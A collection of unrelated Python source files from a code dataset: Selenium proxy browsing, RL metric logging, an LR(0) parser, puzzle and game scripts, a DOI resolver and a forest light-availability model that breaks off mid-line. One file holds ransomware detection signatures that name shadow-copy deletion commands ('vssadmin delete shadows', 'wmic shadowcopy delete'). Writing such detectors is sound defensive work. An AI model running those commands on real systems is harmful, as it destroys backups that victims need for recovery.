f\"{k}_reversed\": Colormap(v.colors[::-1], controls=1 - v.controls[::-1])\n for k, v in AVAILABLE_COLORMAPS.items()\n if not k.endswith(\"_k\")\n }\n)\n\n\ndefault_label_dict = {\"default\": sitk_labels}\n","sub_path":"package/PartSegCore/color_image/base_colors.py","file_name":"base_colors.py","file_ext":"py","file_size_in_byte":1981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"380578834","text":"from selenium import webdriver\r\nfrom selenium.webdriver.chrome.options import Options\r\nimport time\r\n\r\n\r\nclass WebDriver(object):\r\n def __init__(self, proxy):\r\n self.PROXY = proxy\r\n options = webdriver.ChromeOptions()\r\n # options.add_argument('headless') # Запускаем бразуер бещ GUI (без графичиской оболочки)\r\n options.add_argument(r\"user-data-dir=C:\\Users\\moonz\\AppData\\Local\\Google\\Chrome\")\r\n options.add_argument('--proxy-server=%s' % self.PROXY)\r\n self.driver = webdriver.Chrome(executable_path=\"C:\\\\chromedriver.exe\", chrome_options=options)\r\n\r\n\r\n def start(self):\r\n try:\r\n self.driver.get(\"https://yandex.ru/internet/\")\r\n time.sleep(10)\r\n except Exception as error:\r\n print(error)\r\n\r\n finally:\r\n self.driver.close()\r\n time.sleep(2)\r\n self.driver.quit()\r\n time.sleep(2)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPROXY = '167.99.158.48:443' # Работает только с HTTPS\r\na = WebDriver(PROXY)\r\na.start()\r\n","sub_path":"SEO/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"588554084","text":"import numpy as np\nimport wandb\n\n\ndef reset_trackers(jumps):\n trackers = dict()\n trackers[\"epoch_losses\"] = np.zeros(jumps + 1)\n trackers[\"value_losses\"] = np.zeros(jumps + 1)\n trackers[\"policy_losses\"] = np.zeros(jumps + 1)\n trackers[\"reward_losses\"] = np.zeros(jumps + 1)\n trackers[\"nce_losses\"] = np.zeros(jumps + 1)\n trackers[\"nce_accs\"] = np.zeros(jumps + 1)\n trackers[\"value_errors\"] = np.zeros(jumps + 1)\n trackers[\"reward_errors\"] = np.zeros(jumps + 1)\n trackers[\"mean_pred_values\"] = np.zeros(jumps + 1)\n trackers[\"mean_pred_rewards\"] = np.zeros(jumps + 1)\n trackers[\"mean_target_values\"] = np.zeros(jumps + 1)\n trackers[\"mean_target_rewards\"] = np.zeros(jumps + 1)\n trackers[\"pred_entropy\"] = np.zeros(jumps + 1)\n trackers[\"target_entropy\"] = np.zeros(jumps + 1)\n trackers[\"iterations\"] = np.zeros(1)\n\n return trackers\n\n\ndef update_trackers(trackers,\n reward_losses,\n nce_losses,\n nce_accs,\n policy_losses,\n value_losses,\n epoch_losses,\n value_errors,\n reward_errors,\n pred_values,\n pred_rewards,\n target_values,\n target_rewards,\n pred_entropy,\n target_entropy):\n trackers[\"iterations\"] += 1\n trackers[\"nce_losses\"] += np.array(nce_losses)\n trackers[\"nce_accs\"] += np.array(nce_accs)\n trackers[\"reward_losses\"] += np.array(reward_losses)\n trackers[\"policy_losses\"] += np.array(policy_losses)\n trackers[\"value_losses\"] += np.array(value_losses)\n trackers[\"epoch_losses\"] += np.array(epoch_losses)\n trackers[\"value_errors\"] += np.array(value_errors)\n trackers[\"reward_errors\"] += np.array(reward_errors)\n trackers[\"mean_pred_values\"] += np.array(pred_values)\n trackers[\"mean_pred_rewards\"] += np.array(pred_rewards)\n trackers[\"mean_target_values\"] += np.array(target_values)\n trackers[\"mean_target_rewards\"] += np.array(target_rewards)\n trackers[\"pred_entropy\"] += np.array(pred_entropy)\n trackers[\"target_entropy\"] += np.array(target_entropy)\n\n\ndef summarize_trackers(trackers):\n iterations = trackers[\"iterations\"]\n nce_losses = np.array(trackers[\"nce_losses\"] / iterations)\n nce_accs = np.array(trackers[\"nce_accs\"] / iterations)\n reward_losses = np.array(trackers[\"reward_losses\"] / iterations)\n policy_losses = np.array(trackers[\"policy_losses\"] / iterations)\n value_losses = np.array(trackers[\"value_losses\"] / iterations)\n epoch_losses = np.array(trackers[\"epoch_losses\"] / iterations)\n value_errors = np.array(trackers[\"value_errors\"] / iterations)\n reward_errors = np.array(trackers[\"reward_errors\"] / iterations)\n pred_values = np.array(trackers[\"mean_pred_values\"] / iterations)\n pred_rewards = np.array(trackers[\"mean_pred_rewards\"] / iterations)\n target_values = np.array(trackers[\"mean_target_values\"] / iterations)\n target_rewards = np.array(trackers[\"mean_target_rewards\"] / iterations)\n pred_entropy = np.array(trackers[\"pred_entropy\"] / iterations)\n target_entropy = np.array(trackers[\"target_entropy\"] / iterations)\n\n return nce_losses, nce_accs, reward_losses, value_losses, policy_losses, \\\n epoch_losses, value_errors, reward_errors, pred_values, \\\n target_values, pred_rewards, target_rewards, pred_entropy, \\\n target_entropy\n\n\ndef log_results(trackers,\n steps,\n prefix='train',\n verbose_print=True,):\n\n iterations = trackers[\"iterations\"]\n if iterations == 0:\n # We did nothing since the last log, so just quit.\n return\n\n nce_losses, nce_accs, reward_losses, value_losses, policy_losses, \\\n epoch_losses, value_errors, reward_errors, pred_values, target_values,\\\n pred_rewards, target_rewards, pred_entropies, target_entropies = summarize_trackers(trackers)\n\n print(\n \"{} Epoch: {}, Epoch L.: {:.3f}, NCE L.: {:.3f}, NCE A.: {:.3f}, Rew. L.: {:.3f}, Policy L.: {:.3f}, Val L.: {:.3f}, Rew. E.: {:.3f}, P. Rews {:.3f}, T._Rs. {:.3f}, Val E.: {:.3f}, P. Vs. {:.3f}, T._Vs. {:.3f}, P. Ents. {:.3f}, T. Ents. {:.3f}\".format(\n prefix.capitalize(),\n steps,\n np.mean(epoch_losses),\n np.mean(nce_losses),\n np.mean(nce_accs),\n np.mean(reward_losses),\n np.mean(policy_losses),\n np.mean(value_losses),\n np.mean(reward_errors),\n np.mean(pred_rewards),\n np.mean(target_rewards),\n np.mean(value_errors),\n np.mean(pred_values),\n np.mean(target_values),\n np.mean(pred_entropies),\n np.mean(target_entropies),\n ))\n\n for i in range(len(epoch_losses)):\n jump = i\n if verbose_print:\n print(\n \"{} Jump: {}, Epoch L.: {:.3f}, NCE L.: {:.3f}, NCE A.: {:.3f}, Rew. L.: {:.3f}, Policy L.: {:.3f}, Val L.: {:.3f}, Rew. E.: {:.3f}, P. Rs. {:.3f}, T._Rs. {:.3f}, Val E.: {:.3f}, P. Vs. {:.3f}, T._Vs. {:.3f}, P. Ents. {:.3f}, T. Ents. {:.3f}\".format(\n prefix.capitalize(),\n jump,\n epoch_losses[i],\n nce_losses[i],\n nce_accs[i],\n reward_losses[i],\n policy_losses[i],\n value_losses[i],\n reward_errors[i],\n pred_rewards[i],\n target_rewards[i],\n value_errors[i],\n pred_values[i],\n target_values[i],\n pred_entropies[i],\n target_entropies[i]))\n\n wandb.log({prefix + 'Jump {} loss'.format(jump): epoch_losses[i],\n prefix + 'Jump {} NCE loss'.format(jump): nce_losses[i],\n prefix + 'Jump {} NCE acc'.format(jump): nce_accs[i],\n prefix + \"Jump {} Reward Loss\".format(jump): reward_losses[i],\n prefix + 'Jump {} Value Loss'.format(jump): value_losses[i],\n prefix + \"Jump {} Reward Error\".format(jump): reward_errors[i],\n prefix + \"Jump {} Policy loss\".format(jump): policy_losses[i],\n prefix + \"Jump {} Value Error\".format(jump): value_errors[i],\n prefix + \"Jump {} Pred Rewards\".format(jump): pred_rewards[i],\n prefix + \"Jump {} Target Rewards\".format(jump): target_rewards[i],\n prefix + \"Jump {} Pred Values\".format(jump): pred_values[i],\n prefix + \"Jump {} Target Values\".format(jump): target_values[i],\n prefix + \"Jump {} Pred Entropies\".format(jump): pred_entropies[i],\n prefix + \"Jump {} Target Entropies\".format(jump): target_entropies[i],\n 'FM epoch': steps})\n\n wandb.log({prefix + ' loss': np.mean(epoch_losses),\n prefix + ' NCE loss': np.mean(nce_losses),\n prefix + ' NCE acc': np.mean(nce_accs),\n prefix + \" Reward Loss\": np.mean(reward_losses),\n prefix + ' Value Loss': np.mean(value_losses),\n prefix + \" Reward Error\": np.mean(reward_errors),\n prefix + \" Policy loss\": np.mean(policy_losses),\n prefix + \" Value Error\": np.mean(value_errors),\n prefix + \" Pred Rewards\".format(jump): np.mean(pred_rewards),\n prefix + \" Pred Values\".format(jump): np.mean(pred_values),\n prefix + \" Target Rewards\".format(jump): np.mean(target_rewards),\n prefix + \" Target Values\".format(jump): np.mean(target_values),\n prefix + \" Pred Entropies\".format(jump): np.mean(pred_entropies),\n prefix + \" Target Entropies\".format(jump): np.mean(target_entropies),\n 'FM epoch': steps})\n\n","sub_path":"src/logging.py","file_name":"logging.py","file_ext":"py","file_size_in_byte":7978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"70319065","text":"from abstracts import Signature\nfrom threemon.reader import EventTypes\nfrom threemon import process_pb2, registry_pb2, file_pb2\nfrom report import mapping\n\n\n\"\"\"line would be a parsed entry from the onemon json file.\ndelshadowcopies expects an entry of the \"*onemon.Process\" category\nand looks for the command key and keywords like 'wmic shadowcopy\ndelete' or 'vssadmin delete shadows'£\nSuited for Windows 7 & 10\n\"\"\"\n\nclass DelShadowCopy(Signature):\n\n event_types = {\n EventTypes.PROCESS: {process_pb2.Create}\n }\n\n description = \"A shadowcopy was deleted\"\n TTPS = [\"T1490\"]\n events = {}\n\n _vssadmin_tokens = [\"vssadmin\", \"delete\", \"shadows\"]\n _wmic_tokens = [\"wmic\", \"shadowcopy\", \"delete\"]\n\n def process_event(self, process):\n if all(token in process.command.lower()\n for token in self._vssadmin_tokens):\n self.events = mapping(self.events, process)\n self.trigger()\n if all(token in process.command.lower()\n for token in self._wmic_tokens):\n self.events = mapping(self.events, process)\n self.trigger()\n\nclass CryptoRegistries(Signature):\n\n event_types = {\n EventTypes.REGISTRY: {\n registry_pb2.QueryValueKey,registry_pb2.OpenKeyEx,\n registry_pb2.EnumerateKey,registry_pb2.CreateKeyEx\n }\n }\n \n description = \"Query to Microsoft's cryptography registry key found\"\n TTPS = [\"None\"]\n events = {}\n \n _regkey = \"REGISTRY\\\\MACHINE\\\\SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Cryptography\"\n\n def registry_event(self, registry):\n if self._regkey.upper() in registry.path.upper():\n self.events = mapping(self.events, registry)\n self.trigger()\n\n\nclass FileOpsFrequency(Signature):\n\n event_types = {\n EventTypes.FILE: {\n file_pb2.OpenRead, file_pb2.OpenModify,\n file_pb2.Rename, file_pb2.Delete, file_pb2.CreateModify\n }\n }\n\n description = \"Unusual high frequency of file operations detected\"\n TTPS = [\"T1486\"]\n events = {}\n\n threshold = 40\n fileops = 0\n \n def checkfrequency(self, file):\n self.fileops += 1\n if self.fileops > self.threshold:\n self.events = mapping(self.events, file)\n self.trigger()\n","sub_path":"sigs/ransomware.py","file_name":"ransomware.py","file_ext":"py","file_size_in_byte":2321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"447501402","text":"from prettytable import PrettyTable #Libreria para imprimir la tabla al final \nimport sys #Libreria para usar los argumentos de la linea de comando\n\n\nf = open(\"gramatica.txt\", \"r\")\nreglas=[]\nproducciones=[]\ntotalProducciones=0\n\nfor elemento in f:\n ruleList = elemento.replace(\"\\n\",\"\").split('->') \n if ruleList[1]==\"/\" and ruleList [0]!= \"S\":\n producciones.append(ruleList[0])\n elif ruleList[1]==\"/\" and ruleList [0]== \"S\":\n totalProducciones=1\n else:\n ruleList.append(0) #El tercer elemento de la lista representa el cursor(elemento)\n reglas.append(ruleList)\n\nfor elemento in reglas:\n for elem in producciones:\n if elem in elemento[1]:\n if elemento[0]==\"S\" and elemento[1]==elem:\n totalProducciones=1\n else:\n reglas.append([elemento[0],elemento[1].replace(elem,\"\"),0])\n \nreglas.append(['$',\"S\",0]) #Agregamos la regla S' --> S (representando S' con $)\n\n#Funcion que elimina reglas repetidas de una lista \ndef reglasRepetidas(r):\n newlist =[]\n for elem in r:\n if not(elem in newlist):\n newlist.append(elem)\n newlist.reverse()\n return newlist\n\n#Funcion que nos dice si un simbolo es terminal \ndef esNoTerminal (x):\n return x.istitle() or x==\"$\"\n\n#Funcion que nos regresa las reglas derivadas a partir de la lectura del cursor\ndef derivacion(r):\n if (esFinal(r)):\n return [r]\n \n reglasEstado=[]\n lol=r[1][r[2]]\n if(esNoTerminal(r[1][r[2]])):\n for x in reglas:\n if( x[0] == r[1][r[2]] ):\n reglasEstado.append(x) \n for y in reglasEstado:\n reglasEstado=reglasEstado+derivacion(y)\n \n reglasEstado.append(r)\n return reglasEstado\n\n#Funcion que nos dice si el conjunto de reglas de un estado pasa la prueba DK\ndef reglaDK(rul):\n reglas =[]\n reglas.extend(rul)\n lecturaFinal=[] \n if(len(rul)==1 and esFinal(rul[0])):\n return True,[],[]\n\n \n for r in reglas:\n r[2]=r[2]+1\n if esFinal(r):\n lecturaFinal.append(r)\n \n for rl in rul:\n for final in lecturaFinal:\n if rl[1][rl[2]-1] == final[1][final[2]-1] and rl!= final:\n return (False,rl,final)\n \n for r in rul:\n r[2]=r[2]-1\n \n return (True,[],[])\n \n \n \n#Funcion que nos dice si una regla tiene el apuntador al final \ndef esFinal(r):\n return(r[2]==len(r[1]))\n \n#Funcion principal de generacion de estado\ndef nuevoEstado(r,i):\n idE=i\n estados=[]\n e=[]\n transiciones={}\n rules= reglasRepetidas(derivacion(r))\n dk,r1,r2 = reglaDK(rules)\n if not (dk):\n sys.exit( \"La gramatica no cumple la regla DK por conflicto con las siguientes reglas en el mismo estado:\"+str(r1)+str(r2))\n \n else:\n for regla in rules:\n if not(esFinal(regla)): \n reglaAux = regla[:]\n reglaAux[2]= reglaAux[2]+1\n if not(reglaAux in rules):\n newid = i+1\n transiciones.update( {regla[1][regla[2]] : newid} )\n e,i=nuevoEstado(reglaAux,newid)\n else:\n transiciones.update( {regla[1][regla[2]] : idE} )\n e=[]\n #Basicamente crear la transicion a si mismo,\n else:\n #Si es terminal, debe crearse el estado \n e = [i,rules,{},True]\n estados.append(e)\n return estados,i\n estados=estados+e\n estados.append([idE,rules,transiciones,False])\n return estados,i\n\n#Funcion que construye la tabla LR0 a partir del automata\ndef construyeTabla(aut):\n t=[]\n nt=[]\n for r in reglas:\n for ch in r[1]:\n if not(esNoTerminal(ch) or ch in t):\n t.append(ch)\n elif esNoTerminal(ch) and not( ch in nt):\n nt.append(ch)\n t.sort() \n len_terminales=len(t) \n terminales=t[:] \n t.append(\"FDC\")\n t=t+nt\n\n tablaLR0 = [[\"\" for x in range(len(t))] for y in range(len(aut))] #Creamos la tabla LR0 vacia\n \n for estado in aut:\n if not(estado[3]): #Es decir, si el estado es no terminal\n for transicion in estado[2]:\n if esNoTerminal(transicion):\n tablaLR0[estado[0]-1][t.index(transicion)] = estado[2][transicion]\n else:\n tablaLR0[estado[0]-1][t.index(transicion)] = (\"d\"+str(estado[2][transicion]))\n else:\n if(estado[1][0][0]==\"$\"):\n tablaLR0[estado[0]-1][t.index(\"FDC\")]=\"aceptar\"\n elif (estado[1][0][0]==\"S\"):\n tablaLR0[estado[0]-1][t.index(\"FDC\")]=str(estado[1][0][0])+\"->\"+str(estado[1][0][1])\n else:\n for celda in terminales:\n tablaLR0[estado[0]-1][t.index(celda)]=str(estado[1][0][0])+\"->\"+str(estado[1][0][1]) \n if totalProducciones==1:\n tablaLR0[0][t.index(\"FDC\")]=\"aceptar\"\n return(tablaLR0,t)\n \n \n#------------------------------------------------\n#Ejecucion del programa \n\nautomata =nuevoEstado(reglas[-1],1)[0]\nautomata.sort(key=lambda x: x[0])\nlr0,encabezado=construyeTabla(automata)\n\n#uso de prettytalbe\nt = PrettyTable(encabezado)\nfor row in lr0:\n t.add_row(row)\nprint(t)\n\n\n#------------------------------------------------\ncadena=\"b\"\nstack=[]\n\nsimboloEspecial=1\nstack.append(simboloEspecial)\nsimbolo=cadena[0]\ncadena=cadena[1:]\nvalorTabla = lr0[simboloEspecial-1][encabezado.index(simbolo)]\nwhile valorTabla != \"aceptar\":\n if \"d\" in valorTabla:\n stack.append(simbolo)\n simboloEspecial=(int)(valorTabla.replace(\"d\",\"\"))\n stack.append(simboloEspecial)\n if len(cadena)==0:\n simbolo = \"FDC\"\n else:\n simbolo=cadena[0]\n cadena=cadena[1:]\n elif \"->\" in valorTabla:\n for char in valorTabla.split('->')[1]: \n stack.pop()\n stack.pop()\n simboloEspecial=(int)(stack[-1])\n stack.append(valorTabla.split('->')[0])\n simboloEspecial=(int)(lr0[simboloEspecial-1][encabezado.index(valorTabla.split('->')[0])])\n stack.append(simboloEspecial)\n else:\n sys.exit(\"La gramatica no puede procesar la cadena\")\n valorTabla=lr0[simboloEspecial-1][encabezado.index(simbolo)]\nif simbolo != \"FDC\":\n sys.exit(\"La cadena no es aceptada por la gramatica\")\nelse:\n print(\"La cadena es ACEPTADA por la gramatica\")\n","sub_path":"practica7/LR0.py","file_name":"LR0.py","file_ext":"py","file_size_in_byte":6507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"160182249","text":"# import sys\n# sys.setrecursionlimit(10 ** 6)\n# import bisect\n# from collections import deque\n# from decorator import stop_watch\n#\n#\n# @stop_watch\ndef solve(N, M, PY):\n ken = [0] * (N + 1)\n PY = [PY[i] + [i] for i in range(M)]\n PY.sort(key=lambda x: x[1])\n for i in range(M):\n p, y, s = PY[i]\n ken[p] += 1\n PY[i].append(ken[p])\n PY.sort(key=lambda x: x[2])\n for p, y, s, n in PY:\n print(('000000' + str(p))[-6:] + ('000000' + str(n))[-6:])\n\n\nif __name__ == '__main__':\n N, M = map(int, input().split())\n PY = [[int(i) for i in input().split()] for _ in range(M)]\n solve(N, M, PY)\n\n # # test\n # from random import randint, sample\n # from func import random_str\n # N, M = 10 ** 5, 10 ** 5\n # PY = sample([[randint(1, 5), 10 ** 8 - i] for i in range(M)], M)\n # solve(N, M, PY)\n","sub_path":"AtCoderBeginnerContest/1XX/113/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"395113333","text":"import sys, pygame\r\nimport random\r\nfrom pygame.locals import *\r\nfrom math import *\r\nimport json\r\nfrom tkinter import *\r\nfrom Verificar import*\r\nfrom Registrar import*\r\n\r\npygame.init()\r\n\r\nWIDTH = 1156\r\nHEIGHT = 650\r\nSCREEN = pygame.display.set_mode((WIDTH,HEIGHT))\r\nFPS = pygame.time.Clock()\r\n\r\npygame.display.set_caption('PyDeathRace')\r\n\r\npista = pygame.transform.scale(pygame.image.load('Menu.png').convert(),(WIDTH,HEIGHT))\r\n\r\ndef menu ():\r\n \r\n events = pygame.event.get()\r\n for event in events:\r\n if event.type == pygame.KEYDOWN:\r\n if event.key == K_e:\r\n Menu2 ()\r\n if event.key == K_r:\r\n Menu1 ()\r\n\r\n\r\ndef main():\r\n\r\n while True:\r\n \r\n #Test if the game has been quit\r\n for event in pygame.event.get():\r\n if event.type == QUIT:\r\n pygame.quit()\r\n sys.exit()\r\n if event.type == KEYDOWN:\r\n if event.key == K_ESCAPE:\r\n pygame.quit()\r\n sys.exit()\r\n\r\n SCREEN.blit(pista,(0,0))\r\n menu ()\r\n\r\n\r\n\r\n pygame.display.update()\r\n FPS.tick(60)\r\n \r\nif __name__ == '__main__': main()\r\n","sub_path":"proyectos/scastro-proyecto1/código/menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"94815475","text":"import pandas as pd\nimport requests\n\n\ncitations = '../metadata/ICPSR_citations_metadata.json'\ncitations_df = pd.read_json(citations)\nunique_dois = pd.DataFrame(data=citations_df[citations_df['pubIdSchema'] == 'doi']['pubId'].unique(), columns=['doi'])\n\ndef get_final_url(doi):\n '''\n Given a row in a data frame, if that row has a pubId that is a doi\n go fetch that resource and return the final url\n '''\n doi_url = 'https://dx.doi.org/{}'.format(doi)\n print(doi_url)\n try:\n res = requests.get(doi_url, timeout=10)\n final_url = res.url\n except Exception as e:\n print(\"Resource not available for {}: {}\".format(doi_url, e))\n final_url = None\n print(\"Coming back with {} - {}\".format(doi, final_url))\n return (doi, final_url)\n\n\nunique_dois_list = list(unique_dois['doi'])\n\nprint(\"Fethcing {} dois\".format(len(unique_dois_list)))\n\n\nimport csv\n\nwith open('../metadata/resolved_dois.csv', 'w') as outfile:\n\twriter = csv.writer(outfile)\n\tfor i,e in enumerate(unique_dois_list):\n\t\tprint(\"adding item at index {}\".format(i))\n\t\twriter.writerow(get_final_url(e))\t\n","sub_path":"Dataset-Extraction/notebooks/resolver.py","file_name":"resolver.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"475766233","text":"# Create a program using maths and f-Strings that tells us how many days, weeks, months we have left if we live until 90 years old.\n# It will take your current age as the input and output a message with our time left in this format:\n# You have x days, y weeks, and z months left.\n# Where x, y and z are replaced with the actual calculated numbers.\n\n\nage = input(\"What is your current age?\")\n\ndiff = 90 - int(age)\nyear = int(diff) * 365\nweeks = int(diff) * 52\nmonths =int(diff) * 12\nprint(f\" You have {year} days, {weeks} weeks, and {months} months left\")","sub_path":"4-days-of-code-python/Day 2/life-in-weeks.py","file_name":"life-in-weeks.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"577624096","text":"############################################################################\n# Project: Forest Dynamics at the 'Woods of the World'\n# Title: Calculation of the fractional light recieved by each stand\n# Author: James Gilmore\n# Email: james.gilmore@pgr.reading.ac.uk.\n# Version: 1.2.0\n# Date: 12/01/16\n# Status: Operational\n############################################################################\n\n#Initialising the python script\nfrom __future__ import absolute_import, division, print_function\nfrom scipy.integrate import quad, dblquad\nimport matplotlib.pyplot as plt\nfrom array import array\nimport numpy as np\nimport time, os, csv, sys\n\n############################################################################\n#Pre-requiste: Define all of the equations needed for the GLE equation\n\n#Define the equitorial coordinate system ##(All Equations Correct)##\nzenith = lambda H, dec, lat: np.arcsin(np.sin(lat)*np.sin(dec)+np.cos(lat)*np.cos(dec)*np.cos(H)) #GOOD\nazimuth = lambda lat, dec, zenith: np.arccos((np.sin(dec)-np.sin(zenith)*np.sin(lat))/(np.cos(zenith)*np.cos(lat))) #GOOD\ndec = lambda Jday: np.arcsin(np.sin(np.radians(-23.44))*np.cos((np.radians(360)/365.24)*(Jday+10)+(np.radians(360)/np.pi)*0.0167*np.sin((np.radians(360)/365.24)*(Jday-2))))*57.2957795 #GOOD\nhe = lambda Jday: 0.17*np.sin((4*np.pi*(Jday-80))/373)-0.129*np.sin((2*np.pi*(Jday-8))/355) #GOOD\ngam2 = lambda h: -15*np.floor(h) #GOOD\ngam = lambda h: 15.0*np.floor(h/15.0) #GOOD\nH = lambda hl, gaml, gam, he: (np.pi/12)*(hl-(24*(gaml-gam)/360)+he-12) #GOOD\ntd = lambda Jday: (2*np.pi*(np.floor(Jday)-1))/365 #GOOD\n\n#Define the equations specific to the NBGW ##(All Equations Correct)##\nSolElvNBGW = lambda h, day: zenith(H(h, np.radians(-4.15176), gam(0), he(day)), np.radians(dec(day)), np.radians(51.83756))*57.2957795\n#SolAziNBGW = lambda h, day: np.piecewise(h, [h < 12.01854275271367, h >= 12.01854275271366], [lambda h: azimuth(np.radians(51.83756), np.radians(dec(day)), np.radians(SolElvNBGW(h,day)))*57.2957795, lambda h: 360-azimuth(np.radians(51.83756), np.radians(dec(day)), np.radians(SolElvNBGW(h,day)))*57.2957795])\n\ndef SolAziNBGW(h,day):\n\treturn azimuth(np.radians(51.83756), np.radians(dec(day)), np.radians(SolElvNBGW(h,day)))*57.2957795 if h < 12.01854275271367 else 360-azimuth(np.radians(51.83756), np.radians(dec(day)), np.radians(SolElvNBGW(h,day)))*57.2957795\n\n#### Be careful for SolAziNBGW: Put hours in double format (i.e. 3am is 3.0 NOT 3)\n\n#Define the Dawn and Dusk equations (The sunrise and sunset times can be solved for the condition when the angle from horizon reach 0deg using the Zenith equation)\nDawn = lambda day: 11.9952 - 3.81972*np.arccos(1.27249*np.tan(np.arcsin(0.397789*np.cos(0.172029 + 0.0172029*day + 0.0334*np.sin(0.0172029*(-2. + day)))))) - 0.17*np.sin(0.03369*(-80. + day)) + 0.129*np.sin(0.0176991*(-8. + day))\nDusk = lambda day: 11.9952 + 3.81972*np.arccos(1.27249*np.tan(np.arcsin(0.397789*np.cos(0.172029 + 0.0172029*day + 0.0334*np.sin(0.0172029*(-2. + day)))))) - 0.17*np.sin(0.03369*(-80. + day)) + 0.129*np.sin(0.0176991*(-8. + day))\n\n#Clear Sky and Beam Fraction Coefficients ##(All Equations Correct)##\nacoff = lambda w, mp: np.exp(-(0.465+0.134*w)*(0.179+0.421*np.exp(-0.721*mp))*mp)\nmp = lambda A, z: ((288-0.0065*z)/288)**5.256/(np.sin(A)+0.15*(A+3.885)**-1.253)\nw = lambda Tdpt: np.exp(-0.0592+0.06912*Tdpt) #good\nkb = lambda kt: -10.627*kt**5 + 15.307*kt**4 - 5.205*kt**3 + 0.994*kt**2 - 0.059*kt + 0.002\nBeamNBGW = lambda h, day: kb(acoff(w(21), mp(np.radians(SolElvNBGW(h, day)),0)))\nClearNBGW = lambda h, day: 24*(2.044*SolElvNBGW(h, day)+0.12964*SolElvNBGW(h, day)**2-1.941*10**(-3)*SolElvNBGW(h, day)**3+7.591*10**(-6)*SolElvNBGW(h, day)**4)*0.1314\n\n#Rotational Matrix required for positioning of trees and shades\nRM = lambda x: np.array([[np.cos(x), -np.sin(x)], [np.sin(x), np.cos(x)]])\n\n#Import the data of the tree set in the correct columnar form (X, Y, Height, Crown Height, Crown Width):\nX, Y, HE, CH, CW = np.genfromtxt(\"GillyShadingTIFull.csv\", dtype=float, delimiter=',', usecols=(0, 1, 2, 3, 4), unpack=True, skiprows=1)\n\n############################################################################\n#The Gilly Light Equaton\n\n\"There are 3 stages to determining the amount of sunlight present at a location\"\n\"for a given year:\"\n\"(1) The first requires solving the Gilly Shade Criterion Function (GSCF) which\"\n\"determines if any entities are casting a shadow on position n,o\"\n\"(2) Combine the GSCF with the Beam Sky Radiation factor for each position in time\"\n\"to determine the amount of avaliable sunlight when no shade is cast.\"\n\"(3) Solve for h*day interations in time and summerise each step and compare to a\"\n\"point with full light avaliability to normalised the equation between 0 and 1.\"\n\ndef GLE(iter=len(X), daymin=105, daymax=263, hspa=10, nmin=0, nmax=60, omin=0, omax=60, spacings=1):\n\t\n\t############################################################################\n\t#Initalise the variables for this function\n\n\tit=0 #iterator counter\n\ttreeskip=0 #Number of trees skipped\n\tAllTrees=0 #Number of trees processed\n\t\n\tts = np.zeros(nmax)\n\tKMatrix = np.zeros([iter, 2]) \n\tKMatrixCrown = np.zeros([iter, 2]) \n\tKMatrixHeight = np.zeros([iter, 2]) \n\tKMatrixTot = np.zeros(iter)\n\tKMatrixTotTot = np.zeros([nmax/spacings,omax/spacings])\n\tGillyTop = np.zeros([nmax/spacings,omax/spacings])\n\tGillyBottom = np.zeros([nmax/spacings,omax/spacings])\n\tGillyLight = np.zeros([nmax/spacings,omax/spacings])\n\tnpos = np.zeros((nmax-nmin)/spacings)\n\topos = np.zeros((omax-omin)/spacings)\n\ttstart = time.time()\n\teps = sys.float_info.epsilon\n\tnp.set_printoptions(threshold='nan')\n\t\n\t############################################################################\n\t############################################################################\n\t#Determine amount of sunlight for each position over the whole year.\n\t\n\tfor day in xrange(daymin, daymax):\n\t\t#Calculate equally spacing times for the particular day.\n\t\thmax = (Dusk(day)-Dawn(day))/hspa\n\t\th_day = np.arange(Dawn(day)+0.1, Dusk(day), hmax)\t\t\n\t\tfor h in xrange(len(h_day)):\n\t\t\tfor o in np.arange(nmin,nmax,spacings):\n\t\t\t\t\t#Update the progress of the GLE equation\n\t\t\t\t\tit+=1\n\t\t\t\t\tts[o] = time.time()\n\t\t\t\t\tos.system('cls' if os.name=='nt' else 'clear')\n\t\t\t\t\t#print(\"Dawn(day)\", Dawn(day))\n\t\t\t\t\t#print(\"Dusk(day)\", Dusk(day))\n\t\t\t\t\t#print(\"iter\", iter, \" KMatrixTot.sum()\", KMatrixTot.sum())\n\t\t\t\t\t#print(GillyTop)\n\t\t\t\t\tprint(\"Trees Skipped Ratio: \", \"%.3f\" % ((treeskip/(AllTrees+eps))*100), \"%\")\n\t\t\t\t\tprint(\"Day: \", day, \" Hour: \", \"%.2f\" % h_day[h], \" O: \", o)\n\t\t\t\t\tprint(\"Time Progressed (s): \", \"%.0f\" % (ts[o]-tstart)),\n\t\t\t\t\tprint(\"Time Left (s): \", \"%.0f\" % ((((1/spacings)*(nmax-nmin)*hspa*(daymax-daymin))-it)*((ts[o]-tstart)/it))),\n\t\t\t\t\tprint(\"Percentage Completed: \", \"%.3f\" % ((1-(((1/spacings)*(nmax-nmin)*hspa*(daymax-daymin))-it)/((1/spacings)*(nmax-nmin)*hspa*(daymax-daymin)))*100), \"%\")\n\t\t\t\t\t\n\t\t\t\t\tfor n in np.arange(omin,omax,spacings):\n\t\t\t\t\t\t#Calculate the GSCF for each entity (Tree or otherwise)\n\t\t\t\t\t\tfor i in xrange(iter):\n\t\t\t\t\t\t\tAllTrees+=1\n\t\t\t\t\t\t\t#This 'if' statement greatly reduces load as it quickly determines if a tree is close to the position n,o and removes from calculation if it isn't\n\t\t\t\t\t\t\tif (np.abs(X[i]-n)-(HE[i]/np.tan(SolElvNBGW(h_day[h],day))) and 